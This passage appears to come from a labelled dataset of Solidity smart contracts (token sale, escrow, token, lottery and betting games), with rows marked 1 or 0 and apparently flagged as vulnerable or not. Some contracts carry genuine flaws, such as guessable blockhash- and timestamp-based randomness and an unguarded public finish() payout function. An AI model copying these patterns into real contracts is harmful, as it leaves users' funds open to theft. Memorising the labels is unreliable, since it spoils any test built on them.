uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
token public token_reward;
uint256 public start_time = now;
uint256 public end_Time = 1522454400;
uint256 public phase_1_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_2_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_3_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_4_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_5_remaining_tokens = 50000000 * (10 ** uint256(8));
uint256 public phase_1_bonus = 40;
uint256 public phase_2_bonus = 20;
uint256 public phase_3_bonus = 15;
uint256 public phase_4_bonus = 10;
uint256 public phase_5_bonus = 5;
uint256 public token_price = 2;
address public wallet;
uint256 public eth_to_usd = 1000;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event EthToUsdChanged(address indexed owner, uint256 old_eth_to_usd, uint256 new_eth_to_usd);
function Crowdsale(address tokenContractAddress) public{
wallet = 0x1aC024482b91fa9AaF22450Ff60680BAd60bF8D3;
token_reward = token(tokenContractAddress);
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function getRate() constant public returns (uint256){
return eth_to_usd.mul(100).div(token_price);
}
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= start_time && now <= end_Time;
bool allPhaseFinished = phase_5_remaining_tokens > 0;
bool nonZeroPurchase = msg.value != 0;
bool minPurchase = eth_to_usd*msg.value >= 100;
return withinPeriod && nonZeroPurchase && allPhaseFinished && minPurchase;
}
function validPurchaseForManual() internal constant returns (bool) {
bool withinPeriod = now >= start_time && now <= end_Time;
bool allPhaseFinished = phase_5_remaining_tokens > 0;
return withinPeriod && allPhaseFinished;
}
function checkAndUpdateTokenForManual(uint256 _tokens) internal returns (bool){
if(phase_1_remaining_tokens > 0){
if(_tokens > phase_1_remaining_tokens){
uint256 tokens_from_phase_2 = _tokens.sub(phase_1_remaining_tokens);
phase_1_remaining_tokens = 0;
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(tokens_from_phase_2);
}else{
phase_1_remaining_tokens = phase_1_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_2_remaining_tokens > 0){
if(_tokens > phase_2_remaining_tokens){
uint256 tokens_from_phase_3 = _tokens.sub(phase_2_remaining_tokens);
phase_2_remaining_tokens = 0;
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(tokens_from_phase_3);
}else{
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_3_remaining_tokens > 0){
if(_tokens > phase_3_remaining_tokens){
uint256 tokens_from_phase_4 = _tokens.sub(phase_3_remaining_tokens);
phase_3_remaining_tokens = 0;
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(tokens_from_phase_4);
}else{
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_4_remaining_tokens > 0){
if(_tokens > phase_4_remaining_tokens){
uint256 tokens_from_phase_5 = _tokens.sub(phase_4_remaining_tokens);
phase_4_remaining_tokens = 0;
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(tokens_from_phase_5);
}else{
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(_tokens);
}
return true;
}else if(phase_5_remaining_tokens > 0){
if(_tokens > phase_5_remaining_tokens){
return false;
}else{
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(_tokens);
}
}else{
return false;
}
}
function transferManually(uint256 _tokens, address to_address) onlyOwner public returns (bool){
require(to_address != 0x0);
require(validPurchaseForManual());
require(checkAndUpdateTokenForManual(_tokens));
token_reward.transfer(to_address, _tokens);
return true;
}
function transferIfTokenAvailable(uint256 _tokens, uint256 _weiAmount, address _beneficiary) internal returns (bool){
uint256 total_token_to_transfer = 0;
uint256 bonus = 0;
if(phase_1_remaining_tokens > 0){
if(_tokens > phase_1_remaining_tokens){
uint256 tokens_from_phase_2 = _tokens.sub(phase_1_remaining_tokens);
bonus = (phase_1_remaining_tokens.mul(phase_1_bonus).div(100)).add(tokens_from_phase_2.mul(phase_2_bonus).div(100));
phase_1_remaining_tokens = 0;
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(tokens_from_phase_2);
}else{
phase_1_remaining_tokens = phase_1_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_1_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_2_remaining_tokens > 0){
if(_tokens > phase_2_remaining_tokens){
uint256 tokens_from_phase_3 = _tokens.sub(phase_2_remaining_tokens);
bonus = (phase_2_remaining_tokens.mul(phase_2_bonus).div(100)).add(tokens_from_phase_3.mul(phase_3_bonus).div(100));
phase_2_remaining_tokens = 0;
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(tokens_from_phase_3);
}else{
phase_2_remaining_tokens = phase_2_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_2_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_3_remaining_tokens > 0){
if(_tokens > phase_3_remaining_tokens){
uint256 tokens_from_phase_4 = _tokens.sub(phase_3_remaining_tokens);
bonus = (phase_3_remaining_tokens.mul(phase_3_bonus).div(100)).add(tokens_from_phase_4.mul(phase_4_bonus).div(100));
phase_3_remaining_tokens = 0;
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(tokens_from_phase_4);
}else{
phase_3_remaining_tokens = phase_3_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_3_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_4_remaining_tokens > 0){
if(_tokens > phase_4_remaining_tokens){
uint256 tokens_from_phase_5 = _tokens.sub(phase_4_remaining_tokens);
bonus = (phase_4_remaining_tokens.mul(phase_4_bonus).div(100)).add(tokens_from_phase_5.mul(phase_5_bonus).div(100));
phase_4_remaining_tokens = 0;
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(tokens_from_phase_5);
}else{
phase_4_remaining_tokens = phase_4_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_4_bonus).div(100);
}
total_token_to_transfer = _tokens + bonus;
}else if(phase_5_remaining_tokens > 0){
if(_tokens > phase_5_remaining_tokens){
total_token_to_transfer = 0;
}else{
phase_5_remaining_tokens = phase_5_remaining_tokens.sub(_tokens);
bonus = _tokens.mul(phase_5_bonus).div(100);
total_token_to_transfer = _tokens + bonus;
}
}else{
total_token_to_transfer = 0;
}
if(total_token_to_transfer > 0){
token_reward.transfer(_beneficiary, total_token_to_transfer);
TokenPurchase(msg.sender, _beneficiary, _weiAmount, total_token_to_transfer);
return true;
}else{
return false;
}
}
function () payable public{
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = (weiAmount.mul(getRate())).div(10 ** uint256(10));
require(transferIfTokenAvailable(tokens, weiAmount, beneficiary));
weiRaised = weiRaised.add(weiAmount);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function hasEnded() public constant returns (bool) {
return now > end_Time;
}
function transferBack(uint256 tokens, address to_address) onlyOwner public returns (bool){
token_reward.transfer(to_address, tokens);
return true;
}
function changeEth_to_usd(uint256 _eth_to_usd) onlyOwner public returns (bool){
EthToUsdChanged(msg.sender, eth_to_usd, _eth_to_usd);
eth_to_usd = _eth_to_usd;
return true;
}
} | 1 | 4,323 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bounty0xEscrow is Ownable, ERC223ReceivingContract {
using SafeMath for uint256;
address[] supportedTokens;
mapping (address => bool) public tokenIsSupported;
mapping (address => mapping (address => uint)) public tokens;
event Deposit(address token, address user, uint amount, uint balance);
event Distribution(address token, address host, address hunter, uint256 amount, uint64 timestamp);
function Bounty0xEscrow() public {
address Bounty0xToken = 0xd2d6158683aeE4Cc838067727209a0aAF4359de3;
supportedTokens.push(Bounty0xToken);
tokenIsSupported[Bounty0xToken] = true;
}
function addSupportedToken(address _token) public onlyOwner {
require(!tokenIsSupported[_token]);
supportedTokens.push(_token);
tokenIsSupported[_token] = true;
}
function removeSupportedToken(address _token) public onlyOwner {
require(tokenIsSupported[_token]);
for (uint i = 0; i < supportedTokens.length; i++) {
if (supportedTokens[i] == _token) {
var indexOfLastToken = supportedTokens.length - 1;
supportedTokens[i] = supportedTokens[indexOfLastToken];
supportedTokens.length--;
tokenIsSupported[_token] = false;
return;
}
}
}
function getListOfSupportedTokens() view public returns(address[]) {
return supportedTokens;
}
function tokenFallback(address _from, uint _value, bytes _data) public {
var _token = msg.sender;
require(tokenIsSupported[_token]);
tokens[_token][_from] = SafeMath.add(tokens[_token][_from], _value);
Deposit(_token, _from, _value, tokens[_token][_from]);
}
function depositToken(address _token, uint _amount) public {
require(_token != address(0));
require(tokenIsSupported[_token]);
require(ERC20(_token).transferFrom(msg.sender, this, _amount));
tokens[_token][msg.sender] = SafeMath.add(tokens[_token][msg.sender], _amount);
Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function distributeTokenToAddress(address _token, address _host, address _hunter, uint256 _amount) external onlyOwner {
require(_token != address(0));
require(_hunter != address(0));
require(tokenIsSupported[_token]);
require(tokens[_token][_host] >= _amount);
tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], _amount);
require(ERC20(_token).transfer(_hunter, _amount));
Distribution(_token, _host, _hunter, _amount, uint64(now));
}
function distributeTokenToAddressesAndAmounts(address _token, address _host, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_token != address(0));
require(_host != address(0));
require(_hunters.length == _amounts.length);
require(tokenIsSupported[_token]);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
require(tokens[_token][_host] >= totalAmount);
tokens[_token][_host] = SafeMath.sub(tokens[_token][_host], totalAmount);
for (uint i = 0; i < _hunters.length; i++) {
require(ERC20(_token).transfer(_hunters[i], _amounts[i]));
Distribution(_token, _host, _hunters[i], _amounts[i], uint64(now));
}
}
function distributeTokenToAddressesAndAmountsWithoutHost(address _token, address[] _hunters, uint256[] _amounts) external onlyOwner {
require(_token != address(0));
require(_hunters.length == _amounts.length);
require(tokenIsSupported[_token]);
uint256 totalAmount = 0;
for (uint j = 0; j < _amounts.length; j++) {
totalAmount = SafeMath.add(totalAmount, _amounts[j]);
}
require(ERC20(_token).balanceOf(this) >= totalAmount);
for (uint i = 0; i < _hunters.length; i++) {
require(ERC20(_token).transfer(_hunters[i], _amounts[i]));
Distribution(_token, this, _hunters[i], _amounts[i], uint64(now));
}
}
} | 1 | 3,743 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = true;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner);
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner);
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public constant returns (bool) {
if(locked){
if(!allowedAddresses[_addr]&&_addr!=owner) return false;
}else if(lockedAddresses[_addr]) return false;
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract MACKANDAL is BurnableToken {
string public constant name = "Mackandal";
string public constant symbol = "MACK";
uint public constant decimals = 3;
uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals));
function MACKANDAL () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
allowedAddresses[owner] = true;
}
} | 1 | 3,445 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN,
STARTED,
STOPPED,
DRAWN,
ASSIGNED
}
struct Round {
uint256 count;
uint256 timestamp;
uint256 blockNumber;
uint256 drawBlockNumber;
RoundState state;
uint256 pond;
uint256 winningNumber;
address winner;
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215;
function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
}
contract Events {
event onActivate
(
address indexed addr,
uint256 timestamp,
uint256 bonus,
uint256 issued_numbers
);
event onDraw
(
uint256 timestatmp,
uint256 blockNumber,
uint256 roundID,
uint256 winningNumber
);
event onStartRunnd
(
uint256 timestamp,
uint256 roundID
);
event onBet
(
address indexed addr,
uint256 timestamp,
uint256 roundID,
uint256 beginNumber,
uint256 endNumber
);
event onAssign
(
address indexed operatorAddr,
uint256 timestatmp,
address indexed winnerAddr,
uint256 roundID,
uint256 pond,
uint256 bonus,
uint256 fund
);
event onRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed playerAddr,
uint256 count,
uint256 amount
);
event onLastRefund
(
address indexed operatorAddr,
uint256 timestamp,
address indexed platformAddr,
uint256 amout
);
}
contract Winner is Events {
using SafeMath for *;
uint256 constant private MIN_BET = 0.01 ether;
uint256 constant private PRICE = 0.01 ether;
uint256 constant private MAX_DURATION = 30 days;
uint256 constant private REFUND_RATE = 90;
address constant private platform = 0x0db31B63F31e25Eea5739af77bd5611ac248aaa6;
uint256 private curRoundID;
uint256 private drawnRoundID;
uint256 private drawnBlockNumber;
uint256 private bonus;
uint256 private issued_numbers;
bool private initialized;
mapping (uint256 => DataSet.Round) private rounds;
mapping (uint256 => mapping(address => uint256[])) private playerNumbers;
mapping (address => bool) private administrators;
constructor() public {
}
modifier isAdmin() {
require(administrators[msg.sender], "only administrators");
_;
}
modifier isInitialized () {
require(initialized == true, "game is inactive");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry, humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= MIN_BET, "the bet is too small");
require(_eth <= PRICE.mul(issued_numbers).mul(2), "the bet is too big");
_;
}
function() public payable isHuman() isInitialized() isWithinLimits(msg.value)
{
bet(msg.value);
}
function initiate(uint256 _bonus, uint256 _issued_numbers) public isHuman()
{
require(initialized == false, "it has been initialized already");
require(_bonus > 0, "bonus is invalid");
require(_issued_numbers > 0, "issued_numbers is invalid");
initialized = true;
administrators[msg.sender] = true;
bonus = _bonus;
issued_numbers = _issued_numbers;
emit onActivate(msg.sender, block.timestamp, bonus, issued_numbers);
curRoundID = 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
drawnRoundID = 0;
emit onStartRunnd(block.timestamp, curRoundID);
}
function drawNumber() private view returns(uint256) {
return uint256(keccak256(abi.encodePacked(
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 1))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 2))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 3))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 4))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 5))))) / (block.timestamp)).add
((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))
))) % issued_numbers;
}
function bet(uint256 _amount) private
{
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
uint256 amount = _amount;
while (true)
{
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (
rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner
);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (
initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID
);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
} | 0 | 1,998 |
pragma solidity ^0.4.7;
contract bet_various{
enum State { Started, Locked }
State public state = State.Started;
struct Guess{
address addr;
uint guess;
}
uint arraysize=1000;
uint constant maxguess=1000000;
uint bettingprice = 0.01 ether;
Guess[1000] guesses;
uint numguesses = 0;
bytes32 curhash = '';
uint stasticsarrayitems = 20;
uint[20] statistics;
uint _gameindex = 1;
struct Winner{
address addr;
}
Winner[1000] winnners;
uint numwinners = 0;
modifier inState(State _state) {
require(state == _state);
_;
}
address developer = 0x0;
event SentPrizeToWinner(address winner, uint money, uint guess, uint gameindex, uint lotterynumber, uint timestamp);
event SentDeveloperFee(uint amount, uint balance);
function bet_various()
{
if(developer==address(0)){
developer = msg.sender;
}
}
function setBettingCondition(uint _contenders, uint _bettingprice)
{
if(msg.sender != developer)
return;
arraysize = _contenders;
if(arraysize>1000)
arraysize = 1000;
bettingprice = _bettingprice;
}
function getMaxContenders() constant returns(uint){
return arraysize;
}
function getBettingPrice() constant returns(uint){
return bettingprice;
}
function findWinners(uint value) returns (uint)
{
numwinners = 0;
uint lastdiff = maxguess;
uint i = 0;
int diff = 0;
uint guess = 0;
for (i = 0; i < numguesses; i++) {
diff = (int)((int)(value)-(int)(guesses[i].guess));
if(diff<0)
diff = diff*-1;
if(lastdiff>(uint)(diff)){
guess = guesses[i].guess;
lastdiff = (uint)(diff);
}
}
for (i = 0; i < numguesses; i++) {
diff = (int)((int)(value)-(int)(guesses[i].guess));
if(diff<0)
diff = diff*-1;
if(lastdiff==uint(diff)){
winnners[numwinners++].addr = guesses[i].addr;
}
}
return guess;
}
function getDeveloperAddress() constant returns(address)
{
return developer;
}
function getDeveloperFee() constant returns(uint)
{
uint developerfee = this.balance/100;
return developerfee;
}
function getBalance() constant returns(uint)
{
return this.balance;
}
function getLotteryMoney() constant returns(uint)
{
uint developerfee = getDeveloperFee();
uint prize = (this.balance - developerfee)/(numwinners<1?1:numwinners);
return prize;
}
function getBettingStastics()
payable
returns(uint[20])
{
require(msg.value == bettingprice*3);
return statistics;
}
function getBettingStatus()
constant
returns (uint, uint, uint, uint, uint)
{
return ((uint)(state), numguesses, getLotteryMoney(), this.balance, bettingprice);
}
function finish()
{
state = State.Locked;
uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
var guess = findWinners(lotterynumber);
uint prize = getLotteryMoney();
uint remain = this.balance - (prize*numwinners);
for (uint i = 0; i < numwinners; i++) {
address winner = winnners[i].addr;
winner.transfer(prize);
SentPrizeToWinner(winner, prize, guess, _gameindex, lotterynumber, block.timestamp);
}
